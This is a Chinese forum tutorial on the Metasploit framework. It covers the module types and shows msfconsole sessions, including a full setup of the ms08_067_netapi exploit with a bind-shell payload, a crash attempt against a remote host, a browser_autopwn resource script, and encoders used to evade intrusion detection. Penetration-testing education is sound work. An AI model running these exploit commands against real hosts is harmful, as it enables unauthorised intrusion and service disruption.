[工具使用] 渗透测试神器 | Metasploit 使用简介

82 0
Honkers 昨天 10:08 来自手机 | 显示全部楼层 |阅读模式
  • Metasploit Framework,这是一个渗透测试的框架,但不是一个直接的渗透测试攻击软件,下面简称为 MSF。之所有叫框架,因为它本身包含了很多漏洞攻击模块,由一群人在进行维护和更新,更有趣的是几乎每个 CVE 等漏洞,都会添加进 MSF 里,有人称之为是“可以黑掉整个宇宙”的渗透测试框架。
一、Metasploit 渗透测试框架

Mataspoit各模块简介

1.辅助模块

介绍:主要是为渗透测试信息搜集阶段提供大量的辅助工具,包括各种网络服务探测与扫描,构建虚假服务收集登录密码,口令的猜测与破解,敏感信息嗅探等。此外还包括一些无需获取目标系统控制权限的攻击手段,常见的如DDoS攻击等。

2.渗透攻击模块

介绍:主要是利用发现的安全漏洞和配置弱点来对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得远程目标的访问权的代码组件,根据攻击方式的不同,分为主动渗透模块和被动渗透模块。主动渗透所利用的漏洞主要位于网络服务端软件和服务承载的上层应用程序之中。被动渗透利用的漏洞主要位于客户端软件中,主要是通过诱导用户点击包含恶意代码的文件,链接等来被动的获取目标系统信息。

3.攻击载荷模块

介绍:攻击载荷是在渗透成功之后促使目标系统运行的一段植入代码,一般都是为了帮助渗透攻击者打开目标系统上得控制会话连接。而攻击载荷模块就是集成了大量的具有针对性的植入代码,可以减少渗透攻击者的工作量。Metasploit的攻击载荷主要是分为三类:独立(Singles),传输器(Stager),传输体(Stage)。独立攻击载荷是完全独立的,自包含的可以直接植入目标系统执行的载荷,而在一些对攻击载荷的大小,运行条件有限制的情况下Metasploit提供了传输器和传输体来进行攻击。传输器代码少,短小精悍,易于传输且非常可靠,可以满足苛刻的渗透条件,然后可以通过传输器载荷进一步下载并执行传输体载荷,此时传输体载荷就不在受大小和安全防御机制的限制。

4.空指令模块

介绍:空指令是一些对程序运行不造成影响的空操作或者无关操作。为了保证渗透攻击组件的可靠性,降低由于内存地址随机化,返回地址偏差等因素对渗透代码的影响,所以通常都需要在执行的ShellCode之前添加一段空指令区,用来作为缓冲区。

5.编码器模块

介绍:编码器模块主要是将组装好的指令序列进行一定次数的编码,防止渗透攻击指令被检测或是阻断,或者是没有奏效。主要功能是两个:1>确保攻击载荷中不会出现一些“坏字符”,这些“坏字符”很可能导致精心构造的渗透程序不完整甚至无法执行(例如会将一些字符解读为文件尾部,从而丢失了后边的部分)2>对攻击载荷进行免杀处理,通过编码器编码,将攻击载荷的特征码进行隐藏,从而躲避入侵检测系统(IDS)和入侵防御系统(IPS)的检测和查杀。

6.后渗透攻击模块

介绍:在Metasploit v4版本后引进,主要是支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各种后渗透攻击动作,比如获取敏感信息,进一步拓展,实施跳板攻击等。

Metasploit 的常用术语:
  • 渗透攻击(Exploit):指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
  • 攻击载荷(Payload):是我们的期望目标系统在被渗透攻击之后去执行的代码。
  • Shellcode:是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
  • 模块(Module):指 Metasploit 框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
  • 监听器(Listener):是 Metasploit 中用来等待网络连接的组件。
二、msfconsole

msfconsole是MSF中最主要最常用的功能组件,使用集成化的使用方法,可以使用MSF中的所有命令和模块,支持很多其它接口方式不支持的功能,启动msfconsole如下图所示:

支持命令完成功能(tab键)msfconsole主要有以下特点:

支持外部命令执行(可以执行系统命令)

如下为使用ping命令:

  1. | | _) |
  2. __ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
  3. | | | __/ | ( |\__ \ | | | ( | | |
  4. _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
  5. =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
  6. + -- --=[ 567 exploits - 283 auxiliary
  7. + -- --=[ 210 payloads - 27 encoders - 8 nops
  8. =[ svn r9854 updated today (2010.07.17)
  9. msf>ping www.baidu.com
  10. ping www.baidu.com
  11. [*] exec: ping www.baidu.com
  12. Pinging www.a.shifen.com [119.75.217.56] with 32 bytes of data:
  13. [119.75.217.56] with 32 bytes of data:
  14. Reply from 119.75.217.56: bytes=32 time=73ms TTL=49
  15. ……
  16. Ping statistics for 119.75.217.56:
  17. Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
  18. Approximate round trip times in milli-seconds:
  19. Minimum = 73ms, Maximum = 94ms, Average = 79ms
  20. msf >
复制代码
使用流程

help

和其它基于命令行的程序一样,使用?或者help可以显示MSF所支持的命令,如下为MSF内置的全部命令。

  1. msf > help
  2. Core Commands
  3. =============
  4. Command Description
  5. ------- -----------
  6. ? 显示帮助菜单
  7. back 从当前环境返回到主路径
  8. banner 显示软件旗标信息
  9. cd 改变当前工作路径
  10. color 切换颜色
  11. connect 连接主机,类似于telnet和nc
  12. exit 退出
  13. help 显示帮助菜单,即该页面
  14. info 显示模块的详细信息
  15. irb 进入irb脚本模式
  16. jobs 显示和管理作业
  17. kill 结束一个作业
  18. load 加载framework插件
  19. loadpath 从指定路径加载模块
  20. quit 退出
  21. resource 运行文件中的命令
  22. route Route traffic through a session
  23. save 保持数据
  24. search 搜索模块及名称
  25. sessions 显示及转存会话列表
  26. set 设置变量值
  27. setg 设置全局变量值
  28. show 显示给定类型的模块或全部模块
  29. sleep 休眠
  30. unload 卸载 framework 插件
  31. unset 取消变量设置
  32. unsetg 取消全局变量设置
  33. use 根据名字选择一个模块
  34. version 显示版本
  35. Database Backend Commands
  36. =========================
  37. Command Description
  38. ------- -----------
  39. db_services List all services in the database
  40. db_status Show the current database status
  41. db_sync Synchronize the database
  42. db_vulns List all vulnerabilities in the database
  43. db_workspace Switch between database workspaces
复制代码
show命令

在msfconsole中键入show,系统会显示Metasploit的所有模块,若想显示某一类型的模块可以加入模块名称,最常用的主要有一下三个:show payloads、show exploits、show auxiliary。

  1. msf>show auxiliary
  2. Auxiliary
  3. =========
  4. Name Rank Description
  5. ---- ---- -----------
  6. admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access
  7. admin/backupexec/registry normal Veritas Backup Exec Server Registry Access
  8. ……
复制代码
  • show auxiliary显示Metasploit中的可用辅助模块列表,这些辅助模块包括scanner、dos、fuzzer等。

  • show exploits 显示Metasploit中包含的所有可以利用的攻击类型列表。

  • show payloads 显示Metasploit中可以在不同平台中可以在远程主机执行的代码,即 shellcode。注:在使用具体的exploit时,只显示该平台支持的payload,例如:在使用ms08-067时,只显示windows平台可以使用的payload。

  • show options 显示可利用模块exploit的设置、条件、描述等。在具体的模块中使用,后面use命令中会有实例。

  • show targets 显示可利用模块exploit支持的目标类型(操作系统、软件版本等)。在具体的模块中使用,后面use命令中会有实例。

  • show advanced 显示可利用模块exploit高级信息,自定义利用程序时使用。在具体的模块中使用,后面use命令中会有实例。

  • show encoders 显示可利用模块exploit的编码方式,在具体的模块中使用,后面set命令中会有实例。

search命令

search 命令是最常用的命令之一,用于查找各种exploit、payload、auxiliary等,命令支持基于正则表达式的模糊查询。如下为查找ms08-067实例:

  1. msf > search ms08-067
  2. [*] Searching loaded modules for pattern 'ms08-067'...
  3. Exploits
  4. ========
  5. Name Rank Description
  6. ---- ---- -----------nption
复制代码
info命令

info用于显示特殊模块的详细信息,显示内容包括该模块的选项、目标及其它信息。以下是使用info命令显示ms08-067实例:

  1. msf > info windows/smb/ms08_067_netapi
  2. Name: Microsoft Server Service Relative Path Stack Corruption
  3. Version: 9839
  4. Platform: Windows
  5. Privileged: Yes
  6. License: Metasploit Framework License (BSD)
  7. Rank: Great
  8. Provided by:
  9. hdm <hdm@metasploit.com>
  10. Brett Moore <brett.moore@insomniasec.com>
  11. Available targets:
  12. Id Name
  13. -- ----
  14. 0 Automatic Targeting
  15. 1 Windows 2000 Universal
  16. ………
  17. 60 Windows XP SP3 Turkish (NX)
  18. Basic options:
  19. Name Current Setting Required Description
  20. ---- --------------- -------- -----------
  21. RHOST yes The target address
  22. RPORT 445 yes Set the SMB service port
  23. SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  24. Payload information:
  25. Space: 400
  26. Avoid: 8 characters
  27. Description:
  28. This module exploits a parsing flaw in the path canonicalization
  29. code of NetAPI32.dll through the Server Service. This module is
  30. ……
  31. on 2003, along with other platforms, is still in development.References:
  32. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
复制代码
use命令

use命令用于使用特殊的模块,如利用程序、shellcode或辅助模块等。以ms08-067为例,模块名称必须包含完整的路径,可以通过search命令搜索,以下还演示了show options、show targets命令的使用。

  1. msf > use windows/smb/ms08_067_netapi
  2. msf exploit(ms08_067_netapi) > show options
  3. Module options:
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. RHOST yes The target address
  7. RPORT 445 yes Set the SMB service port
  8. SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  9. Exploit target:
  10. Id Name
  11. -- ----
  12. 0 Automatic Targeting
  13. msf exploit(ms08_067_netapi) > show targets
  14. Exploit targets:
  15. Id Name
  16. -- ----
  17. 0 Automatic Targeting
  18. ………
  19. 60 Windows XP SP3 Turkish (NX)
复制代码
conect命令

connect命令可以连接到远程主机,连接方式和nc、telnet相同,可以指定端口,如下为connect命令演示:

  1. msf > connect 127.0.0.1 4000
  2. [*] Connected to 127.0.0.1:4000
  3. Microsoft Windows [Version 6.1.7600]
  4. Copyright (c) 2009 Microsoft Corporation. All rights reserved.
  5. E:\技术工具\cmd>msf >
复制代码
set命令

set命令用于当前使用模块的选项和设置参数。

  • set payload xxx/xxx z设置溢出代码
  • set encoder xxx/xxx 设置利用程序编码方式
  • set target xxx 设置目标类型
  • set xxx xxx 设置参数

下面以ms08-067为例:

  1. msf > use windows/smb/ms08_067_netapi
  2. msf exploit(ms08_067_netapi) > show options
  3. Module options:
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. RHOST yes The target address
  7. RPORT 445 yes Set the SMB service port
  8. SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  9. Exploit target:
  10. Id Name
  11. -- ----
  12. 0 Automatic Targeting
  13. msf exploit(ms08_067_netapi) > set RHOST 192.168.10.10
  14. RHOST => 192.168.10.10
  15. msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp
  16. payload => windows/shell/bind_tcp
  17. msf exploit(ms08_067_netapi) > show options
  18. Module options:
  19. Name Current Setting Required Description
  20. ---- --------------- -------- -----------
  21. RHOST 192.168.10.10 yes The target address
  22. RPORT 445 yes Set the SMB service port
  23. SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  24. Payload options (windows/shell/bind_tcp):
  25. Name Current Setting Required Description
  26. ---- --------------- -------- -----------
  27. EXITFUNC thread yes Exit technique: seh, thread, process
  28. LPORT 4444 yes The listen port
  29. RHOST 192.168.10.10 no The target address
  30. Exploit target:
  31. Id Name
  32. -- ----
  33. 0 Automatic Targeting
  34. msf exploit(ms08_067_netapi) >exploit
复制代码
check命令

部分exploit支持check命令,该命令用于检测目标系统是否存在漏洞,而不是进行溢出操作。如下:说明目标系统不存在漏洞

  1. msf exploit(ms04_045_wins) > check
  2. [-] Check failed: The connection was refused by the remote host (192.168.1.114:42)
复制代码
设置全局变量

Metasploit 支持设置全局变量并可以进行存储,下次登录时直接使用。设置全局变量使用setg命令,unsetg撤销全局变量,save用于保存全局变量。如下所示:

  1. msf > setg LHOST 192.168.1.101
  2. LHOST => 192.168.1.101
  3. msf > setg RHOSTS 192.168.1.0/24
  4. RHOSTS => 192.168.1.0/24
  5. msf > setg RHOST 192.168.1.136
  6. RHOST => 192.168.1.136
  7. msf > save
  8. Saved configuration to: /root/.msf3/config
复制代码
exploit/run命令

设置好各个参数后,可以使用exploit命令执行溢出操作,当使用了自定义auxiliary参数时,需要用run命令执行操作。

  1. msf auxiliary(ms09_001_write) > run
  2. Attempting to crash the remote host...
  3. datalenlow=65535 dataoffset=65535 fillersize=72
  4. rescue…
复制代码
resource命令

resource命令可以加载资源文件,并按顺序执行文件中的命令。

  1. msf > resource karma.rc
  2. resource> load db_sqlite3
  3. [-]
  4. [-] The functionality previously provided by this plugin has been
  5. [-] integrated into the core command set. Use the new 'db_driver'
  6. [-] command to use a database driver other than sqlite3 (which
  7. [-] is now the default). All of the old commands are the same.
  8. [-]
  9. [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
  10. resource> db_create /root/karma.db
  11. [*] The specified database already exists, connecting
  12. [*] Successfully connected to the database
  13. [*] File: /root/karma.db
  14. resource> use auxiliary/server/browser_autopwn
  15. resource> setg AUTOPWN_HOST 10.0.0.1
  16. AUTOPWN_HOST => 10.0.0.1
复制代码
irb命令
  1. msf > irb
  2. [*] Starting IRB shell...
  3. >> puts "BlackAngle!"
  4. BlackAngle!
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行